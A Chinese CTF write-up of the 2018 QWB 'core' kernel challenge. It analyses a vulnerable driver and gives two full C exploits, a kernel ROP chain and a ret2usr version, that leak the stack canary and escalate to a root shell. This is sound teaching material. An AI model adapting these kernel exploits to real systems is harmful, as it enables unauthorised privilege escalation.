初探Linux内核栈溢出

初接触Linux内核栈溢出的学习,记录的会比较详细。这里用的是2018年强网杯的core。这是没有开启SMEP保护的,因此只需要简单的ROP或直接ret2usr即能完成提权并返回用户态跑root shell。

参考资料: https://ctf-wiki.github.io/ctf-wiki/pwn/linux/kernel/kernel_rop-zh/

Linux内核的一些基础:ctf-wikiMy blog - 初探LinuxLinux VFS虚拟文件系统My blog - Linux内核-进程、线程初探

题目

题目:题目链接-core

解压缩,有四个东东

  • bzImage: bzImage是vmlinuz经过gzip压缩后的文件,适用于大内核,启动现代Linux系统时,实际运行的即为bzImage kernel文件
  • start.sh:QEMU启动脚本
  • rootfs.cpio:文件系统镜像
  • vmlinux: 未压缩的内核 ,可用来查找gadget

将文件系统解包看看

1
2
3
4
5
mkdir fs
cp ./core.cpio ./fs/core.cpio.gz
cd fs
gunzip ./core.cpio.gz
cpio -idmv < ./core.cpio

有一个init文件,用于启动内核后初始化,查看一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko

poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0 -f

echo 1 > /proc/sys/kernel/kptr_restrict,则不能通过/proc/kallsyms查看内核符号的地址了,但是这里有cat /proc/kallsyms > /tmp/kallsyms,所以可以在/tmp/kallsyms看到,没什么影响。

echo 1 > /proc/sys/kernel/dmesg_restrict,查找到资料如下:

When dmesg_restrict is set to (0) there are no restrictions. When dmesg_restrict is set set to (1), users must have CAP_SYSLOG to use dmesg(8). The kernel config option CONFIG_SECURITY_DMESG_RESTRICT sets the default value of dmesg_restrict.

因此,这里将/proc/sys/kernel/dmesg_restrict设置为0,非root用户就不可以查看dmesg了。

insmod /core.ko,将core.ko装载进了内核,这个应该就是需要我们分析并漏洞利用的驱动了。

另外可以将poweroff -d 120 -f &这行删掉,这样QEMU启动后就不会自动关了,他这里有一个自带的带包脚本gen_cpio.sh

重新打包,再COPY出去用于启动就可以了

1
2
./gen_cpio.sh ./core.cpio
cp ./core.cpio ../core.cpio

start.sh,是QEMU的启动脚本,这里并没有开启SMEP。

1
2
3
4
5
6
7
8
qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \

这里要把第二行的-m 64M改成-m 128M,不然内存不够用启动不了。

配置GDB内核调试

如何调试:

在start.sh中,添加-gdb tcp::ip或者-s(-gdb tcp::1234的简写),即可在gdb中用target remote:ip即可连接上。

加载符号表:

题目给了一个带符号的vmlinux,用file命令即可将vmlinux的内核符号加载进去

而core.ko的符号,则需要add-symbol-file core.ko textAddr,这里的textAddr是指core.ko装载进内核空间后的.text段地址(其实就是装载基址)。这个地址可以在/sys/module/core/sections/.text读到,但是需要root权限,题目的init给的是一个普通用户(uid = gid = 1000),直接QEMU启动后是看不了的

因此为方便调试,修改一下init文件,以root权限起shell,重新打包启动QEMU

再启动后就可以读到了

或者也可以这样,在init里添加cat /sys/module/core/sections/.text > /tmp/core.text,将它复制到/tmp里,启动后从里面读就可以了,这里注意要加在insmod /core.ko后面,不然的话会找不到文件

然后就可以在gdb中添加core.ko自带的符号,可以愉快地用函数名下断点了,调试起来就很方便

驱动分析

解包文件系统镜像将core.ko拿出来分析。

开启了canary和栈执行保护,带符表,可以很方便的分析和调试

用IDA分析:

1、core_ioctl

定义了三个命令,分别是:

  • core_read:允许从内核栈上读取内容到用户缓冲区,可用于信息泄露
  • 给全局变量off赋值
  • core_copy_func:允许往内核栈上写入数据,存在溢出漏洞

2、core_read

允许从内核栈上读取内容,可用于泄漏地址、canary值等信息,读取的基址是[rbp-50h]偏移是通过全局变量off决定的

3、core_copy_func

允许将全局变量name的内容往栈上复制,由于判断size时用的是signed __int64类型并且没有判断负值,而在复制时将size转换成unsigned __int16类型,因此存在栈溢出漏洞。

4、core_write

允许用户往内核全局变量name中写入内容。

5、init_module

proc_create()创建了虚拟文件core,在file_operations core_fops函数表中,绑定了core_write、core_ioctl、core_release。也就是说,通过这个文件的fd,和read、write、close、ioctl等系统调用,就可以调用驱动中的各个函数了。

漏洞利用-ROP

根据以上分析结果,对这个栈溢出漏洞的利用思路可以如下:

  • 通过ioctl,命令0x6677889c,给内核全局变量off赋值
  • 通过ioctl,命令0x6677889b,调用core_read方法,从栈上泄漏canary值
  • 构造好payload,通过write方法将payload写入全局变量name
  • 通过ioctl,命令0x6677889a,调用core_copy_func方法,将全局变量name中的payload复制到栈上,触发栈溢出
  • payload中要构造ROP链,执行commit_creds(prepare_kernel_cred(0)),将进程权限提升到root
  • 返回用户态,执行system("/bin/sh")起root权限shell

寻找gadget

题目提供了静态编译且未压缩的内核文件vmlinux,因此可以在vmlinux中寻找gadget。 如果题目没有给 vmlinux,可以通过 extract-vmlinux 提取。

工具的话,我用的是ROPgadget ,但是听说有的人用这个很慢,但是我用的还是OK的,跑大概一分钟。如果ROPgadget不好用,还可以使用 Ropper

确定内核函数地址

init中,执行了cat /proc/kallsyms > /tmp/kallsyms,因此在/tmp/kallsyms可以读到所有内核符号的地址,当然包括了我们需要用到的commit_creds()prepare_kernel_cred()函数地址。同时,通过固定的偏移也能确定gadged的地址。

内核态切换回用户态

  1. 通过 swapgs 恢复 GS 值

  2. 通过iretq 恢复各寄存器值到用户态,参考 https://baike.baidu.com/item/iret/1314268?fr=aladdin

    会按照 rip、cs、标志寄存器、rsp、ss的顺序将各寄存器值从栈中弹出来。

    其中,rip的值,可以直接用我们EXP中写好的跑shell的地址,这样回到用户态后就直接跑shell了

    而cs、标志寄存器、rsp、ss都需要合法的值(其实标志寄存器直接给0也是可以的),因此可以在EXP中先将当前用户态的值保存下来,在ROP链中直接用这些值就可以了:

    1
    2
    3
    4
    5
    6
    7
    __asm__(
    "mov usr_cs, cs;"
    "mov usr_ss, ss;"
    "mov usr_rsp, rsp;"
    "pushfq;" //标志寄存器值入栈
    "pop usr_rflags;"
    );

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
//sunxiaokong
//gcc -static -masm=intel -g -o my_exp my_exp.c
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

#define INS_SET_OFF 0x6677889C
#define INS_READ 0x6677889B
#define INS_COPY_FUNC 0x6677889A

int get_kernel_addr();
void get_usr_regs();
void shell();

size_t canary = 0; // value of canary
size_t commit_creds=0, prepare_kernel_cred=0; // kernel function addr
size_t off; // offset of kaslr
size_t vmlinux_base; // base addr of vmlinux
size_t rop_chain[100] = {0}; // rop chain
size_t usr_cs, usr_ss, usr_rsp, usr_rflags; // registers of user mode

int main(){
get_usr_regs();
get_kernel_addr();

int fd = open("/proc/core", O_RDWR);
if(fd < 0){
puts("[T.T] open file error !!!");
exit(0);
}
ioctl(fd, INS_SET_OFF, 0x40); // set off to 0x40
char *buf_leak = (char *)malloc(0x40); // buffer of leak data
ioctl(fd, INS_READ, buf_leak); // leak canary in kernel-stack
canary = *(size_t *)buf_leak;
printf("[^.^] canary : 0x%lx\n", canary);

int i;
for(i=0; i<10; i++){
rop_chain[i] = canary;
}
rop_chain[i++] = 0xffffffff81000b2f + off; // pop rdi ; ret
rop_chain[i++] = 0;
rop_chain[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)
rop_chain[i++] = 0xffffffff810a0f49 + off; // pop rdx ; ret
rop_chain[i++] = commit_creds;
rop_chain[i++] = 0xffffffff8106a6d2 + off; // mov rdi, rax ; jmp rdx
rop_chain[i++] = 0xffffffff81a012da + off; // swapgs ; popfq ; ret
rop_chain[i++] = 0;
rop_chain[i++] = 0xffffffff81050ac2 + off; // iretq; ret;
rop_chain[i++] = (size_t)shell; // rip
rop_chain[i++] = usr_cs; // cs
rop_chain[i++] = usr_rflags; // rflags
rop_chain[i++] = usr_rsp; // rsp
rop_chain[i++] = usr_ss; // ss

write(fd, rop_chain, 0X800); // write payload to "name"
ioctl(fd, INS_COPY_FUNC, 0xffffffffffff0000 | (0x100)); // stack overflow
}

/* read symbols addr in /tmp/kallsyms and calc the vmlinux base */
int get_kernel_addr(){
char *buf = (char *)malloc(0x50);
FILE *kallsyms = fopen("/tmp/kallsyms", "r");

while(fgets(buf, 0x50, kallsyms)){
// fgets:read one line at one time
if(strstr(buf, "prepare_kernel_cred")){
sscanf(buf, "%lx", &prepare_kernel_cred);
printf("[^.^] prepare_kernel_cred : 0x%lx\n", prepare_kernel_cred);
}

if(strstr(buf, "commit_creds")){
sscanf(buf, "%lx", &commit_creds);
printf("[^.^] commit_creds : 0x%lx\n", commit_creds);
off = commit_creds - 0xffffffff8109c8e0;
vmlinux_base = 0xffffffff81000000 + off;
printf("[^.^] offset : 0x%lx\n", off);
printf("[^.^] vmlinux base : 0x%lx\n", vmlinux_base);
}

if(commit_creds && prepare_kernel_cred){
return 0;
}
}
}

/* save some regs of user mode */
void get_usr_regs(){
__asm__(
"mov usr_cs, cs;"
"mov usr_ss, ss;"
"mov usr_rsp, rsp;"
"pushfq;"
"pop usr_rflags;"
);
printf("[^.^] save regs of user mode, done !!!\n");
}

/* run a root shell */
void shell(){
if(!getuid())
{
system("/bin/sh");
}
else
{
puts("[T.T] privilege escalation failed !!!");
}
exit(0);
}

/*
ROPgadget --binary "./vmlinux" --only "pop|ret" | grep rdi
0xffffffff81000b2f : pop rdi ; ret

ROPgadget --binary ./vmlinux --only "mov|jmp" | grep "mov rdi, rax"
0xffffffff8106a6d2 : mov rdi, rax ; jmp rdx

ROPgadget --binary "./vmlinux" --only "pop|ret" | grep rdx
0xffffffff810a0f49 : pop rdx ; ret

ROPgadget --binary ./vmlinux | grep swapgs
0xffffffff81a012da : swapgs ; popfq ; ret

ropper -f ./vmlinux > ./gadget.txt
cat ./gadget.txt | grep iretq
0xffffffff81050ac2: iretq; ret;
*/

编译命令gcc -static -masm=intel -g -o my_exp my_exp.c

提权成功

漏洞利用-ret2usr

在没有开启SMEP(管理模式执行保护)的情况下,内核态CPU是可以访问执行用户空间的代码的。

由于这里的start.sh中,并没有开启smep保护,因此其实可以不用构造内核ROP来完成commit_creds(prepare_kernel_cred(0)),可以直接ret2usr,在内核栈溢出中控制指针定向到用户空间,在EXP的用户空间来执行提权代码,直接将commit_creds()prepare_kernel_cred()的函数地址转换为函数指针执行即可,然后再和刚才一样,用swapgsiretq切换CPU回用户态起root shell即可。

1
2
3
4
5
6
7
8
9
// in user mode :
/* commit_creds(prepare_kernel_cred(0)) */
void privilege_escalation(){
if(commit_creds && prepare_kernel_cred){
(*((void (*)(char *))commit_creds))(
(*((char* (*)(int))prepare_kernel_cred))(0)
);
}
}

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
//sunxiaokong
//gcc -static -masm=intel -g -o my_exp2 my_exp2.c
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

#define INS_SET_OFF 0x6677889C
#define INS_READ 0x6677889B
#define INS_COPY_FUNC 0x6677889A

int get_kernel_addr();
void get_usr_regs();
void privilege_escalation();
void shell();

size_t canary = 0; // value of canary
size_t commit_creds=0, prepare_kernel_cred=0; // kernel function addr
size_t off; // offset of kaslr
size_t vmlinux_base; // base addr of vmlinux
size_t rop_chain[100] = {0}; // rop chain
size_t usr_cs, usr_ss, usr_rsp, usr_rflags; // registers of user mode

int main(){
get_usr_regs();
get_kernel_addr();

int fd = open("/proc/core", O_RDWR);
if(fd < 0){
puts("[T.T] open file error !!!");
exit(0);
}
ioctl(fd, INS_SET_OFF, 0x40); // set off to 0x40
char *buf_leak = (char *)malloc(0x40); // buffer of leak data
ioctl(fd, INS_READ, buf_leak); // leak canary in kernel-stack
canary = *(size_t *)buf_leak;
printf("[^.^] canary : 0x%lx\n", canary);

int i;
for(i=0; i<10; i++){
rop_chain[i] = canary;
}
rop_chain[i++] = (size_t)privilege_escalation;
rop_chain[i++] = 0xffffffff81a012da + off; // swapgs ; popfq ; ret
rop_chain[i++] = 0;
rop_chain[i++] = 0xffffffff81050ac2 + off; // iretq; ret;
rop_chain[i++] = (size_t)shell; // rip
rop_chain[i++] = usr_cs; // cs
rop_chain[i++] = usr_rflags; // rflags
rop_chain[i++] = usr_rsp; // rsp
rop_chain[i++] = usr_ss; // ss

write(fd, rop_chain, 0X800); // write payload to "name"
ioctl(fd, INS_COPY_FUNC, 0xffffffffffff0000 | (0x100)); // stack overflow
}

/* save some regs of user mode */
void get_usr_regs(){
__asm__(
"mov usr_cs, cs;"
"mov usr_ss, ss;"
"mov usr_rsp, rsp;"
"pushfq;"
"pop usr_rflags;"
);
printf("[^.^] save regs of user mode, done !!!\n");
}

/* read symbols addr in /tmp/kallsyms and calc the vmlinux base */
int get_kernel_addr(){
char *buf = (char *)malloc(0x50);
FILE *kallsyms = fopen("/tmp/kallsyms", "r");

while(fgets(buf, 0x50, kallsyms)){
// fgets:read one line at one time
if(strstr(buf, "prepare_kernel_cred")){
sscanf(buf, "%lx", &prepare_kernel_cred);
printf("[^.^] prepare_kernel_cred : 0x%lx\n", prepare_kernel_cred);
}

if(strstr(buf, "commit_creds")){
sscanf(buf, "%lx", &commit_creds);
printf("[^.^] commit_creds : 0x%lx\n", commit_creds);
off = commit_creds - 0xffffffff8109c8e0;
vmlinux_base = 0xffffffff81000000 + off;
printf("[^.^] offset : 0x%lx\n", off);
printf("[^.^] vmlinux base : 0x%lx\n", vmlinux_base);
}

if(commit_creds && prepare_kernel_cred){
return 0;
}
}
}

/* commit_creds(prepare_kernel_cred(0)) */
void privilege_escalation(){
if(commit_creds && prepare_kernel_cred){
(*((void (*)(char *))commit_creds))(
(*((char* (*)(int))prepare_kernel_cred))(0)
);
}
}

/* run a root shell */
void shell(){
if(!getuid())
{
system("/bin/sh");
}
else
{
puts("[T.T] privilege escalation failed !!!");
}
exit(0);
}
0%